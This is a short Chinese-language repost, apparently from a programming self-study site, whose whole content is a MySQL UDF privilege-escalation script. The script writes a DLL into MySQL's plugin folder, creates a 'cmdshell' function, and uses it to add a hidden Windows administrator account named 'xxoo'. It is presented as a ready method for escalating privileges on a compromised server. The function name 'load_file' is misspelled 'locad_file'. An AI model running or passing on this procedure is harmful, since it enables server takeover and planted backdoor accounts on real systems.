xxoo.sql Use mysql ; Select locad_file("d:\\wwwroot\\test\\udf.dll") into dumpfile 'd:\\mysql 5.1\\lib\\plugin\\xxoo.dll' ; //如果是LPK.DLL劫持之类的下面就可以无视了 create function cmdshell returns string soname 'xxoo.dll'; select cmdshell('net user xxoo xxoo /add&net localgroup administrators xxoo /add'); drop function cmdshell; 然后上传www.2cto.com mysql.exe 执行: Mysql -u root -p pass < d:\\wwwroot\\test\\xxoo.sql 摘自yezi 's blog
查看更多关于当服务器不支持php时如何用UDF或者其他DLL提权的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://www.haodehen.cn/did12393